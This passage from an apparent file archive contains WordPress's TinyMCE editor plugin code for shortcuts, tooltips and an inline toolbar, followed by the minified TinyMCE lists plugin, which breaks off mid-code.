editor.inline && editor.isHidden() ) { event.content = event.element.value; return; } // Keep empty paragraphs :( event.content = event.content.replace( /<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g, '<p> </p>' ); if ( hasWpautop ) { event.content = wp.editor.removep( event.content ); } else { // Restore formatting of block boundaries. event.content = event.content.replace( /-->\s*<!-- wp:/g, '-->\n\n<!-- wp:' ); } }); editor.on( 'preInit', function() { var validElementsSetting = '@[id|accesskey|class|dir|lang|style|tabindex|' + 'title|contenteditable|draggable|dropzone|hidden|spellcheck|translate],' + // Global attributes. 'i,' + // Don't replace <i> with <em> and <b> with <strong> and don't remove them when empty. 'b,' + 'script[src|async|defer|type|charset|crossorigin|integrity]'; // Add support for <script>. editor.schema.addValidElements( validElementsSetting ); if ( tinymce.Env.iOS ) { editor.settings.height = 300; } each( { c: 'JustifyCenter', r: 'JustifyRight', l: 'JustifyLeft', j: 'JustifyFull', q: 'mceBlockQuote', u: 'InsertUnorderedList', o: 'InsertOrderedList', m: 'WP_Medialib', t: 'WP_More', d: 'Strikethrough', p: 'WP_Page', x: 'WP_Code' }, function( command, key ) { editor.shortcuts.add( 'access+' + key, '', command ); } ); editor.addShortcut( 'meta+s', '', function() { if ( wp && wp.autosave ) { wp.autosave.server.triggerSave(); } } ); // Alt+Shift+Z removes a block in the block editor, don't add it to the Classic block. if ( ! editor.settings.classic_block_editor ) { editor.addShortcut( 'access+z', '', 'WP_Adv' ); } // Workaround for not triggering the global help modal in the block editor by the Classic block shortcut. editor.on( 'keydown', function( event ) { var match; if ( tinymce.Env.mac ) { match = event.ctrlKey && event.altKey && event.code === 'KeyH'; } else { match = event.shiftKey && event.altKey && event.code === 'KeyH'; } if ( match ) { editor.execCommand( 'WP_Help' ); event.stopPropagation(); event.stopImmediatePropagation(); return false; } return true; }); if ( window.getUserSetting( 'editor_plain_text_paste_warning' ) > 1 ) { editor.settings.paste_plaintext_inform = false; } // Change the editor iframe title on MacOS, add the correct help shortcut. if ( tinymce.Env.mac ) { tinymce.$( editor.iframeElement ).attr( 'title', __( 'Rich Text Area. Press Control-Option-H for help.' ) ); } } ); editor.on( 'PastePlainTextToggle', function( event ) { // Warn twice, then stop. if ( event.state === true ) { var times = parseInt( window.getUserSetting( 'editor_plain_text_paste_warning' ), 10 ) || 0; if ( times < 2 ) { window.setUserSetting( 'editor_plain_text_paste_warning', ++times ); } } }); editor.on( 'beforerenderui', function() { if ( editor.theme.panel ) { each( [ 'button', 'colorbutton', 'splitbutton' ], function( buttonType ) { replaceButtonsTooltips( editor.theme.panel.find( buttonType ) ); } ); addShortcutsToListbox(); } } ); function prepareTooltips() { var access = 'Shift+Alt+'; var meta = 'Ctrl+'; wpTooltips = {}; // For MacOS: ctrl = \u2303, cmd = \u2318, alt = \u2325. if ( tinymce.Env.mac ) { access = '\u2303\u2325'; meta = '\u2318'; } // Some tooltips are translated, others are not... if ( editor.settings.wp_shortcut_labels ) { each( editor.settings.wp_shortcut_labels, function( value, tooltip ) { var translated = editor.translate( tooltip ); value = value.replace( 'access', access ).replace( 'meta', meta ); wpTooltips[ tooltip ] = value; // Add the translated so we can match all of them. if ( tooltip !== translated ) { wpTooltips[ translated ] = value; } } ); } } function getTooltip( tooltip ) { var translated = editor.translate( tooltip ); var label; if ( ! wpTooltips ) { prepareTooltips(); } if ( wpTooltips.hasOwnProperty( translated ) ) { label = wpTooltips[ translated ]; } else if ( wpTooltips.hasOwnProperty( tooltip ) ) { label = wpTooltips[ tooltip ]; } return label ? translated + ' (' + label + ')' : translated; } function replaceButtonsTooltips( buttons ) { if ( ! buttons ) { return; } each( buttons, function( button ) { var tooltip; if ( button && button.settings.tooltip ) { tooltip = getTooltip( button.settings.tooltip ); button.settings.tooltip = tooltip; // Override the aria label with the translated tooltip + shortcut. if ( button._aria && button._aria.label ) { button._aria.label = tooltip; } } } ); } function addShortcutsToListbox() { // listbox for the "blocks" drop-down. each( editor.theme.panel.find( 'listbox' ), function( listbox ) { if ( listbox && listbox.settings.text === 'Paragraph' ) { each( listbox.settings.values, function( item ) { if ( item.text && wpTooltips.hasOwnProperty( item.text ) ) { item.shortcut = '(' + wpTooltips[ item.text ] + ')'; } } ); } } ); } /** * Experimental: create a floating toolbar. * This functionality will change in the next releases. Not recommended for use by plugins. */ editor.on( 'preinit', function() { var Factory = tinymce.ui.Factory, settings = editor.settings, activeToolbar, currentSelection, timeout, container = editor.getContainer(), wpAdminbar = document.getElementById( 'wpadminbar' ), mceIframe = document.getElementById( editor.id + '_ifr' ), mceToolbar, mceStatusbar, wpStatusbar, cachedWinSize; if ( container ) { mceToolbar = tinymce.$( '.mce-toolbar-grp', container )[0]; mceStatusbar = tinymce.$( '.mce-statusbar', container )[0]; } if ( editor.id === 'content' ) { wpStatusbar = document.getElementById( 'post-status-info' ); } function create( buttons, bottom ) { var toolbar, toolbarItems = [], buttonGroup; each( buttons, function( item ) { var itemName; var tooltip; function bindSelectorChanged() { var selection = editor.selection; if ( itemName === 'bullist' ) { selection.selectorChanged( 'ul > li', function( state, args ) { var i = args.parents.length, nodeName; while ( i-- ) { nodeName = args.parents[ i ].nodeName; if ( nodeName === 'OL' || nodeName == 'UL' ) { break; } } item.active( state && nodeName === 'UL' ); } ); } if ( itemName === 'numlist' ) { selection.selectorChanged( 'ol > li', function( state, args ) { var i = args.parents.length, nodeName; while ( i-- ) { nodeName = args.parents[ i ].nodeName; if ( nodeName === 'OL' || nodeName === 'UL' ) { break; } } item.active( state && nodeName === 'OL' ); } ); } if ( item.settings.stateSelector ) { selection.selectorChanged( item.settings.stateSelector, function( state ) { item.active( state ); }, true ); } if ( item.settings.disabledStateSelector ) { selection.selectorChanged( item.settings.disabledStateSelector, function( state ) { item.disabled( state ); } ); } } if ( item === '|' ) { buttonGroup = null; } else { if ( Factory.has( item ) ) { item = { type: item }; if ( settings.toolbar_items_size ) { item.size = settings.toolbar_items_size; } toolbarItems.push( item ); buttonGroup = null; } else { if ( ! buttonGroup ) { buttonGroup = { type: 'buttongroup', items: [] }; toolbarItems.push( buttonGroup ); } if ( editor.buttons[ item ] ) { itemName = item; item = editor.buttons[ itemName ]; if ( typeof item === 'function' ) { item = item(); } item.type = item.type || 'button'; if ( settings.toolbar_items_size ) { item.size = settings.toolbar_items_size; } tooltip = item.tooltip || item.title; if ( tooltip ) { item.tooltip = getTooltip( tooltip ); } item = Factory.create( item ); buttonGroup.items.push( item ); if ( editor.initialized ) { bindSelectorChanged(); } else { editor.on( 'init', bindSelectorChanged ); } } } } } ); toolbar = Factory.create( { type: 'panel', layout: 'stack', classes: 'toolbar-grp inline-toolbar-grp', ariaRoot: true, ariaRemember: true, items: [ { type: 'toolbar', layout: 'flow', items: toolbarItems } ] } ); toolbar.bottom = bottom; function reposition() { if ( ! currentSelection ) { return this; } var scrollX = window.pageXOffset || document.documentElement.scrollLeft, scrollY = window.pageYOffset || document.documentElement.scrollTop, windowWidth = window.innerWidth, windowHeight = window.innerHeight, iframeRect = mceIframe ? mceIframe.getBoundingClientRect() : { top: 0, right: windowWidth, bottom: windowHeight, left: 0, width: windowWidth, height: windowHeight }, toolbar = this.getEl(), toolbarWidth = toolbar.offsetWidth, toolbarHeight = toolbar.clientHeight, selection = currentSelection.getBoundingClientRect(), selectionMiddle = ( selection.left + selection.right ) / 2, buffer = 5, spaceNeeded = toolbarHeight + buffer, wpAdminbarBottom = wpAdminbar ? wpAdminbar.getBoundingClientRect().bottom : 0, mceToolbarBottom = mceToolbar ? mceToolbar.getBoundingClientRect().bottom : 0, mceStatusbarTop = mceStatusbar ? windowHeight - mceStatusbar.getBoundingClientRect().top : 0, wpStatusbarTop = wpStatusbar ? windowHeight - wpStatusbar.getBoundingClientRect().top : 0, blockedTop = Math.max( 0, wpAdminbarBottom, mceToolbarBottom, iframeRect.top ), blockedBottom = Math.max( 0, mceStatusbarTop, wpStatusbarTop, windowHeight - iframeRect.bottom ), spaceTop = selection.top + iframeRect.top - blockedTop, spaceBottom = windowHeight - iframeRect.top - selection.bottom - blockedBottom, editorHeight = windowHeight - blockedTop - blockedBottom, className = '', iosOffsetTop = 0, iosOffsetBottom = 0, top, left; if ( spaceTop >= editorHeight || spaceBottom >= editorHeight ) { this.scrolling = true; this.hide(); this.scrolling = false; return this; } // Add offset in iOS to move the menu over the image, out of the way of the default iOS menu. if ( tinymce.Env.iOS && currentSelection.nodeName === 'IMG' ) { iosOffsetTop = 54; iosOffsetBottom = 46; } if ( this.bottom ) { if ( spaceBottom >= spaceNeeded ) { className = ' mce-arrow-up'; top = selection.bottom + iframeRect.top + scrollY - iosOffsetBottom; } else if ( spaceTop >= spaceNeeded ) { className = ' mce-arrow-down'; top = selection.top + iframeRect.top + scrollY - toolbarHeight + iosOffsetTop; } } else { if ( spaceTop >= spaceNeeded ) { className = ' mce-arrow-down'; top = selection.top + iframeRect.top + scrollY - toolbarHeight + iosOffsetTop; } else if ( spaceBottom >= spaceNeeded && editorHeight / 2 > selection.bottom + iframeRect.top - blockedTop ) { className = ' mce-arrow-up'; top = selection.bottom + iframeRect.top + scrollY - iosOffsetBottom; } } if ( typeof top === 'undefined' ) { top = scrollY + blockedTop + buffer + iosOffsetBottom; } left = selectionMiddle - toolbarWidth / 2 + iframeRect.left + scrollX; if ( selection.left < 0 || selection.right > iframeRect.width ) { left = iframeRect.left + scrollX + ( iframeRect.width - toolbarWidth ) / 2; } else if ( toolbarWidth >= windowWidth ) { className += ' mce-arrow-full'; left = 0; } else if ( ( left < 0 && selection.left + toolbarWidth > windowWidth ) || ( left + toolbarWidth > windowWidth && selection.right - toolbarWidth < 0 ) ) { left = ( windowWidth - toolbarWidth ) / 2; } else if ( left < iframeRect.left + scrollX ) { className += ' mce-arrow-left'; left = selection.left + iframeRect.left + scrollX; } else if ( left + toolbarWidth > iframeRect.width + iframeRect.left + scrollX ) { className += ' mce-arrow-right'; left = selection.right - toolbarWidth + iframeRect.left + scrollX; } // No up/down arrows on the menu over images in iOS. if ( tinymce.Env.iOS && currentSelection.nodeName === 'IMG' ) { className = className.replace( / ?mce-arrow-(up|down)/g, '' ); } toolbar.className = toolbar.className.replace( / ?mce-arrow-[\w]+/g, '' ) + className; DOM.setStyles( toolbar, { 'left': left, 'top': top } ); return this; } toolbar.on( 'show', function() { this.reposition(); } ); toolbar.on( 'keydown', function( event ) { if ( event.keyCode === 27 ) { this.hide(); editor.focus(); } } ); editor.on( 'remove', function() { toolbar.remove(); } ); toolbar.reposition = reposition; toolbar.hide().renderTo( document.body ); return toolbar; } editor.shortcuts.add( 'alt+119', '', function() { var node; if ( activeToolbar ) { node = activeToolbar.find( 'toolbar' )[0]; node && node.focus( true ); } } ); editor.on( 'nodechange', function( event ) { var collapsed = editor.selection.isCollapsed(); var args = { element: event.element, parents: event.parents, collapsed: collapsed }; editor.fire( 'wptoolbar', args ); currentSelection = args.selection || args.element; if ( activeToolbar && activeToolbar !== args.toolbar ) { activeToolbar.hide(); } if ( args.toolbar ) { activeToolbar = args.toolbar; if ( activeToolbar.visible() ) { activeToolbar.reposition(); } else { activeToolbar.show(); } } else { activeToolbar = false; } } ); editor.on( 'focus', function() { if ( activeToolbar ) { activeToolbar.show(); } } ); function hide( event ) { var win; var size; if ( activeToolbar ) { if ( activeToolbar.tempHide || event.type === 'hide' || event.type === 'blur' ) { activeToolbar.hide(); activeToolbar = false; } else if ( ( event.type === 'resizewindow' || event.type === 'scrollwindow' || event.type === 'resize' || event.type === 'scroll' ) && ! activeToolbar.blockHide ) { /* * Showing a tooltip may trigger a `resize` event in Chromium browsers. * That results in a flicketing inline menu; tooltips are shown on hovering over a button, * which then hides the toolbar on `resize`, then it repeats as soon as the toolbar is shown again. */ if ( event.type === 'resize' || event.type === 'resizewindow' ) { win = editor.getWin(); size = win.innerHeight + win.innerWidth; // Reset old cached size. if ( cachedWinSize && ( new Date() ).getTime() - cachedWinSize.timestamp > 2000 ) { cachedWinSize = null; } if ( cachedWinSize ) { if ( size && Math.abs( size - cachedWinSize.size ) < 2 ) { // `resize` fired but the window hasn't been resized. Bail. return; } } else { // First of a new series of `resize` events. Store the cached size and bail. cachedWinSize = { timestamp: ( new Date() ).getTime(), size: size, }; return; } } clearTimeout( timeout ); timeout = setTimeout( function() { if ( activeToolbar && typeof activeToolbar.show === 'function' ) { activeToolbar.scrolling = false; activeToolbar.show(); } }, 250 ); activeToolbar.scrolling = true; activeToolbar.hide(); } } } if ( editor.inline ) { editor.on( 'resizewindow', hide ); // Enable `capture` for the event. // This will hide/reposition the toolbar on any scrolling in the document. document.addEventListener( 'scroll', hide, true ); } else { // Bind to the editor iframe and to the parent window. editor.dom.bind( editor.getWin(), 'resize scroll', hide ); editor.on( 'resizewindow scrollwindow', hide ); } editor.on( 'remove', function() { document.removeEventListener( 'scroll', hide, true ); editor.off( 'resizewindow scrollwindow', hide ); editor.dom.unbind( editor.getWin(), 'resize scroll', hide ); } ); editor.on( 'blur hide', hide ); editor.wp = editor.wp || {}; editor.wp._createToolbar = create; }, true ); function noop() {} // Expose some functions (back-compat). return { _showButtons: noop, _hideButtons: noop, _setEmbed: noop, _getEmbed: noop }; }); }( window.tinymce )); tinymce/plugins/lists/plugin.min.js 0000644 00000064530 15111757756 0013500 0 ustar 00 !function(u){"use strict";var e,n,t,r,o,i,s,a,c,f=tinymce.util.Tools.resolve("tinymce.PluginManager"),d=tinymce.util.Tools.resolve("tinymce.dom.RangeUtils"),l=tinymce.util.Tools.resolve("tinymce.dom.TreeWalker"),m=tinymce.util.Tools.resolve("tinymce.util.VK"),p=tinymce.util.Tools.resolve("tinymce.dom.BookmarkManager"),v=tinymce.util.Tools.resolve("tinymce.util.Tools"),g=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),h=function(e){return e&&"BR"===e.nodeName},y=function(e){return e&&3===e.nodeType},N=function(e){return e&&/^(OL|UL|DL)$/.test(e.nodeName)},S=function(e){return e&&/^(OL|UL)$/.test(e.nodeName)},C=function(e){return e&&/^(DT|DD)$/.test(e.nodeName)},O=function(e){return e&&/^(LI|DT|DD)$/.test(e.nodeName)},b=function(e){return e&&/^(TH|TD)$/.test(e.nodeName)},T=h,E=function(e,n){return n&&!!e.schema.getTextBlockElements()[n.nodeName]},L=function(e,n){return e&&e.nodeName in n},D=function(e,n){return!!h(n)&&!(!e.isBlock(n.nextSibling)||h(n.previousSibling))},w=function(e,n,t){var r=e.isEmpty(n);return!(t&&0<e.select("span[data-mce-type=bookmark]",n).length)&&r},k=function(e,n){return e.isChildOf(n,e.getRoot())},A=function(e,n){if(y(e))return{container:e,offset:n};var t=d.getNode(e,n);return y(t)?{container:t,offset:n>=e.childNodes.length?t.data.length:0}:t.previousSibling&&y(t.previousSibling)?{container:t.previousSibling,offset:t.previousSibling.data.length}:t.nextSibling&&y(t.nextSibling)?{container:t.nextSibling,offset:0}:{container:e,offset:n}},x=function(e){var n=e.cloneRange(),t=A(e.startContainer,e.startOffset);n.setStart(t.container,t.offset);var r=A(e.endContainer,e.endOffset);return n.setEnd(r.container,r.offset),n},R=g.DOM,I=function(o){var i={},e=function(e){var n,t,r;t=o[e?"startContainer":"endContainer"],r=o[e?"startOffset":"endOffset"],1===t.nodeType&&(n=R.create("span",{"data-mce-type":"bookmark"}),t.hasChildNodes()?(r=Math.min(r,t.childNodes.length-1),e?t.insertBefore(n,t.childNodes[r]):R.insertAfter(n,t.childNodes[r])):t.appendChild(n),t=n,r=0),i[e?"startContainer":"endContainer"]=t,i[e?"startOffset":"endOffset"]=r};return e(!0),o.collapsed||e(),i},_=function(o){function e(e){var n,t,r;n=r=o[e?"startContainer":"endContainer"],t=o[e?"startOffset":"endOffset"],n&&(1===n.nodeType&&(t=function(e){for(var n=e.parentNode.firstChild,t=0;n;){if(n===e)return t;1===n.nodeType&&"bookmark"===n.getAttribute("data-mce-type")||t++,n=n.nextSibling}return-1}(n),n=n.parentNode,R.remove(r),!n.hasChildNodes()&&R.isBlock(n)&&n.appendChild(R.create("br"))),o[e?"startContainer":"endContainer"]=n,o[e?"startOffset":"endOffset"]=t)}e(!0),e();var n=R.createRng();return n.setStart(o.startContainer,o.startOffset),o.endContainer&&n.setEnd(o.endContainer,o.endOffset),x(n)},B=function(){},P=function(e){return function(){return e}},M=function(t){return function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];return!t.apply(null,e)}},U=P(!1),F=P(!0),j=function(){return H},H=(e=function(e){return e.isNone()},r={fold:function(e,n){return e()},is:U,isSome:U,isNone:F,getOr:t=function(e){return e},getOrThunk:n=function(e){return e()},getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:P(null),getOrUndefined:P(undefined),or:t,orThunk:n,map:j,each:B,bind:j,exists:U,forall:F,filter:j,equals:e,equals_:e,toArray:function(){return[]},toString:P("none()")},Object.freeze&&Object.freeze(r),r),$=function(t){var e=P(t),n=function(){return o},r=function(e){return e(t)},o={fold:function(e,n){return n(t)},is:function(e){return t===e},isSome:F,isNone:U,getOr:e,getOrThunk:e,getOrDie:e,getOrNull:e,getOrUndefined:e,or:n,orThunk:n,map:function(e){return $(e(t))},each:function(e){e(t)},bind:r,exists:r,forall:r,filter:function(e){return e(t)?o:H},toArray:function(){return[t]},toString:function(){return"some("+t+")"},equals:function(e){return e.is(t)},equals_:function(e,n){return e.fold(U,function(e){return n(t,e)})}};return o},q={some:$,none:j,from:function(e){return null===e||e===undefined?H:$(e)}},W=function(n){return function(e){return function(e){if(null===e)return"null";var n=typeof e;return"object"===n&&(Array.prototype.isPrototypeOf(e)||e.constructor&&"Array"===e.constructor.name)?"array":"object"===n&&(String.prototype.isPrototypeOf(e)||e.constructor&&"String"===e.constructor.name)?"string":n}(e)===n}},V=W("string"),z=W("array"),K=W("boolean"),X=W("function"),Q=W("number"),Y=Array.prototype.slice,G=Array.prototype.push,J=function(e,n){for(var t=e.length,r=new Array(t),o=0;o<t;o++){var i=e[o];r[o]=n(i,o)}return r},Z=function(e,n){for(var t=0,r=e.length;t<r;t++)n(e[t],t)},ee=function(e,n){for(var t=[],r=0,o=e.length;r<o;r++){var i=e[r];n(i,r)&&t.push(i)}return t},ne=function(e,n,t){return Z(e,function(e){t=n(t,e)}),t},te=function(e,n){for(var t=0,r=e.length;t<r;t++){var o=e[t];if(n(o,t))return q.some(o)}return q.none()},re=function(e,n){return function(e){for(var n=[],t=0,r=e.length;t<r;++t){if(!z(e[t]))throw new Error("Arr.flatten item "+t+" was not an array, input: "+e);G.apply(n,e[t])}return n}(J(e,n))},oe=function(e){return 0===e.length?q.none():q.some(e[0])},ie=function(e){return 0===e.length?q.none():q.some(e[e.length-1])},ue=(X(Array.from)&&Array.from,"undefined"!=typeof u.window?u.window:Function("return this;")()),se=function(e,n){return function(e,n){for(var t=n!==undefined&&null!==n?n:ue,r=0;r<e.length&&t!==undefined&&null!==t;++r)t=t[e[r]];return t}(e.split("."),n)},ae=function(e,n){var t=se(e,n);if(t===undefined||null===t)throw new Error(e+" not available on this browser");return t},ce=function(e){var n,t=se("ownerDocument.defaultView",e);return(n=t,ae("HTMLElement",n)).prototype.isPrototypeOf(e)},fe=tinymce.util.Tools.resolve("tinymce.dom.DomQuery"),de=function(e){var n=e.selection.getStart(!0);return e.dom.getParent(n,"OL,UL,DL",me(e,n))},le=function(e){var t,n,r,o=e.selection.getSelectedBlocks();return v.grep((t=e,n=o,r=v.map(n,function(e){var n=t.dom.getParent(e,"li,dd,dt",me(t,e));return n||e}),fe.unique(r)),function(e){return O(e)})},me=function(e,n){var t=e.dom.getParents(n,"TD,TH");return 0<t.length?t[0]:e.getBody()},ge=function(e,n){var t=e.dom.getParents(n,"ol,ul",me(e,n));return ie(t)},pe=function(n,e){var t=J(e,function(e){return ge(n,e).getOr(e)});return fe.unique(t)},ve={isList:function(e){var n=de(e);return ce(n)},getParentList:de,getSelectedSubLists:function(e){var n,t,r,o=de(e),i=e.selection.getSelectedBlocks();return r=i,(t=o)&&1===r.length&&r[0]===t?(n=o,v.grep(n.querySelectorAll("ol,ul,dl"),function(e){return N(e)})):v.grep(i,function(e){return N(e)&&o!==e})},getSelectedListItems:le,getClosestListRootElm:me,getSelectedDlItems:function(e){return ee(le(e),C)},getSelectedListRoots:function(e){var n,t,r,o=(t=ge(n=e,n.selection.getStart()),r=ee(n.selection.getSelectedBlocks(),S),t.toArray().concat(r));return pe(e,o)}},he=function(e){if(null===e||e===undefined)throw new Error("Node cannot be null or undefined");return{dom:P(e)}},ye={fromHtml:function(e,n){var t=(n||u.document).createElement("div");if(t.innerHTML=e,!t.hasChildNodes()||1<t.childNodes.length)throw u.console.error("HTML does not have a single root node",e),new Error("HTML must have a single root node");return he(t.childNodes[0])},fromTag:function(e,n){var t=(n||u.document).createElement(e);return he(t)},fromText:function(e,n){var t=(n||u.document).createTextNode(e);return he(t)},fromDom:he,fromPoint:function(e,n,t){var r=e.dom();return q.from(r.elementFromPoint(n,t)).map(he)}},Ne=function(e,n,t){return e.isSome()&&n.isSome()?q.some(t(e.getOrDie(),n.getOrDie())):q.none()},Se=Object.keys,Ce=function(){return ae("Node")},Oe=function(e,n,t){return 0!=(e.compareDocumentPosition(n)&t)},be=function(e,n){return Oe(e,n,Ce().DOCUMENT_POSITION_CONTAINED_BY)},Te=function(e,n){var t=function(e,n){for(var t=0;t<e.length;t++){var r=e[t];if(r.test(n))return r}return undefined}(e,n);if(!t)return{major:0,minor:0};var r=function(e){return Number(n.replace(t,"$"+e))};return Le(r(1),r(2))},Ee=function(){return Le(0,0)},Le=function(e,n){return{major:e,minor:n}},De={nu:Le,detect:function(e,n){var t=String(n).toLowerCase();return 0===e.length?Ee():Te(e,t)},unknown:Ee},we="Firefox",ke=function(e,n){return function(){return n===e}},Ae=function(e){var n=e.current;return{current:n,version:e.version,isEdge:ke("Edge",n),isChrome:ke("Chrome",n),isIE:ke("IE",n),isOpera:ke("Opera",n),isFirefox:ke(we,n),isSafari:ke("Safari",n)}},xe={unknown:function(){return Ae({current:undefined,version:De.unknown()})},nu:Ae,edge:P("Edge"),chrome:P("Chrome"),ie:P("IE"),opera:P("Opera"),firefox:P(we),safari:P("Safari")},Re="Windows",Ie="Android",_e="Solaris",Be="FreeBSD",Pe=function(e,n){return function(){return n===e}},Me=function(e){var n=e.current;return{current:n,version:e.version,isWindows:Pe(Re,n),isiOS:Pe("iOS",n),isAndroid:Pe(Ie,n),isOSX:Pe("OSX",n),isLinux:Pe("Linux",n),isSolaris:Pe(_e,n),isFreeBSD:Pe(Be,n)}},Ue={unknown:function(){return Me({current:undefined,version:De.unknown()})},nu:Me,windows:P(Re),ios:P("iOS"),android:P(Ie),linux:P("Linux"),osx:P("OSX"),solaris:P(_e),freebsd:P(Be)},Fe=function(e,n){var t=String(n).toLowerCase();return te(e,function(e){return e.search(t)})},je=function(e,t){return Fe(e,t).map(function(e){var n=De.detect(e.versionRegexes,t);return{current:e.name,version:n}})},He=function(e,t){return Fe(e,t).map(function(e){var n=De.detect(e.versionRegexes,t);return{current:e.name,version:n}})},$e=function(e,n){return-1!==e.indexOf(n)},qe=/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,We=function(n){return function(e){return $e(e,n)}},Ve=[{name:"Edge",versionRegexes:[/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],search:function(e){return $e(e,"edge/")&&$e(e,"chrome")&&$e(e,"safari")&&$e(e,"applewebkit")}},{name:"Chrome",versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/,qe],search:function(e){return $e(e,"chrome")&&!$e(e,"chromeframe")}},{name:"IE",versionRegexes:[/.*?msie\ ?([0-9]+)\.([0-9]+).*/,/.*?rv:([0-9]+)\.([0-9]+).*/],search:function(e){return $e(e,"msie")||$e(e,"trident")}},{name:"Opera",versionRegexes:[qe,/.*?opera\/([0-9]+)\.([0-9]+).*/],search:We("opera")},{name:"Firefox",versionRegexes:[/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],search:We("firefox")},{name:"Safari",versionRegexes:[qe,/.*?cpu os ([0-9]+)_([0-9]+).*/],search:function(e){return($e(e,"safari")||$e(e,"mobile/"))&&$e(e,"applewebkit")}}],ze=[{name:"Windows",search:We("win"),versionRegexes:[/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]},{name:"iOS",search:function(e){return $e(e,"iphone")||$e(e,"ipad")},versionRegexes:[/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,/.*cpu os ([0-9]+)_([0-9]+).*/,/.*cpu iphone os ([0-9]+)_([0-9]+).*/]},{name:"Android",search:We("android"),versionRegexes:[/.*?android\ ?([0-9]+)\.([0-9]+).*/]},{name:"OSX",search:We("os x"),versionRegexes:[/.*?os\ x\ ?([0-9]+)_([0-9]+).*/]},{name:"Linux",search:We("linux"),versionRegexes:[]},{name:"Solaris",search:We("sunos"),versionRegexes:[]},{name:"FreeBSD",search:We("freebsd"),versionRegexes:[]}],Ke={browsers:P(Ve),oses:P(ze)},Xe=function(e){var n,t,r,o,i,u,s,a,c,f,d,l=Ke.browsers(),m=Ke.oses(),g=je(l,e).fold(xe.unknown,xe.nu),p=He(m,e).fold(Ue.unknown,Ue.nu);return{browser:g,os:p,deviceType:(t=g,r=e,o=(n=p).isiOS()&&!0===/ipad/i.test(r),i=n.isiOS()&&!o,u=n.isAndroid()&&3===n.version.major,s=n.isAndroid()&&4===n.version.major,a=o||u||s&&!0===/mobile/i.test(r),c=n.isiOS()||n.isAndroid(),f=c&&!a,d=t.isSafari()&&n.isiOS()&&!1===/safari/i.test(r),{isiPad:P(o),isiPhone:P(i),isTablet:P(a),isPhone:P(f),isTouch:P(c),isAndroid:n.isAndroid,isiOS:n.isiOS,isWebView:P(d)})}},Qe={detect:(o=function(){var e=u.navigator.userAgent;return Xe(e)},s=!1,function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];return s||(s=!0,i=o.apply(null,e)),i})},Ye=(u.Node.ATTRIBUTE_NODE,u.Node.CDATA_SECTION_NODE,u.Node.COMMENT_NODE,u.Node.DOCUMENT_NODE,u.Node.DOCUMENT_TYPE_NODE,u.Node.DOCUMENT_FRAGMENT_NODE,u.Node.ELEMENT_NODE),Ge=(u.Node.TEXT_NODE,u.Node.PROCESSING_INSTRUCTION_NODE,u.Node.ENTITY_REFERENCE_NODE,u.Node.ENTITY_NODE,u.Node.NOTATION_NODE,Ye),Je=function(e,n){return e.dom()===n.dom()},Ze=Qe.detect().browser.isIE()?function(e,n){return be(e.dom(),n.dom())}:function(e,n){var t=e.dom(),r=n.dom();return t!==r&&t.contains(r)},en=function(e,n){var t=e.dom();if(t.nodeType!==Ge)return!1;var r=t;if(r.matches!==undefined)return r.matches(n);if(r.msMatchesSelector!==undefined)return r.msMatchesSelector(n);if(r.webkitMatchesSelector!==undefined)return r.webkitMatchesSelector(n);if(r.mozMatchesSelector!==undefined)return r.mozMatchesSelector(n);throw new Error("Browser lacks native selectors")},nn=function(e){return q.from(e.dom().parentNode).map(ye.fromDom)},tn=function(e){return J(e.dom().childNodes,ye.fromDom)},rn=function(e,n){var t=e.dom().childNodes;return q.from(t[n]).map(ye.fromDom)},on=function(e){return rn(e,0)},un=function(e){return rn(e,e.dom().childNodes.length-1)},sn=(function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n]}("element","offset"),function(n,t){nn(n).each(function(e){e.dom().insertBefore(t.dom(),n.dom())})}),an=function(e,n){e.dom().appendChild(n.dom())},cn=function(n,e){Z(e,function(e){an(n,e)})},fn=function(e){var n=e.dom();null!==n.parentNode&&n.parentNode.removeChild(n)},dn=function(e){return e.dom().nodeName.toLowerCase()},ln=(a=Ye,function(e){return e.dom().nodeType===a}),mn=function(e,n){var t=e.dom();!function(e,n){for(var t=Se(e),r=0,o=t.length;r<o;r++){var i=t[r];n(e[i],i)}}(n,function(e,n){!function(e,n,t){if(!(V(t)||K(t)||Q(t)))throw u.console.error("Invalid call to Attr.set. Key ",n,":: Value ",t,":: Element ",e),new Error("Attribute value was not simple");e.setAttribute(n,t+"")}(t,n,e)})},gn=function(e){return ne(e.dom().attributes,function(e,n){return e[n.name]=n.value,e},{})},pn=function(e,n,t){if(!V(t))throw u.console.error("Invalid call to CSS.set. Property ",n,":: Value ",t,":: Element ",e),new Error("CSS value must be a string: "+t);var r;(r=e).style!==undefined&&X(r.style.getPropertyValue)&&e.style.setProperty(n,t)},vn=function(e){return n=e,t=!0,ye.fromDom(n.dom().cloneNode(t));var n,t},hn=function(e,n){var t,r,o,i,u=(t=e,r=n,o=ye.fromTag(r),i=gn(t),mn(o,i),o);sn(e,u);var s=tn(e);return cn(u,s),fn(e),u},yn=function(e,n){an(e.item,n.list)},Nn=function(f,e,d){var n=e.slice(0,d.depth);return ie(n).each(function(e){var n,t,r,o,i,u,s,a,c=(n=f,t=d.itemAttributes,r=d.content,o=ye.fromTag("li",n),mn(o,t),cn(o,r),o);u=c,an((i=e).list,u),i.item=u,a=d,dn((s=e).list)!==a.listType&&(s.list=hn(s.list,a.listType)),mn(s.list,a.listAttributes)}),n},Sn=function(e,n,t){var r,o=function(e,n,t){for(var r,o,i,u=[],s=0;s<t;s++)u.push((r=e,o=n.listType,i={list:ye.fromTag(o,r),item:ye.fromTag("li",r)},an(i.list,i.item),i));return u}(e,t,t.depth-n.length);return function(e){for(var n=1;n<e.length;n++)yn(e[n-1],e[n])}(o),function(e,n){for(var t=0;t<e.length-1;t++)r=e[t].item,o="list-style-type",i="none",u=r.dom(),pn(u,o,i);var r,o,i,u;ie(e).each(function(e){mn(e.list,n.listAttributes),mn(e.item,n.itemAttributes),cn(e.item,n.content)})}(o,t),r=o,Ne(ie(n),oe(r),yn),n.concat(o)},Cn=function(e){return 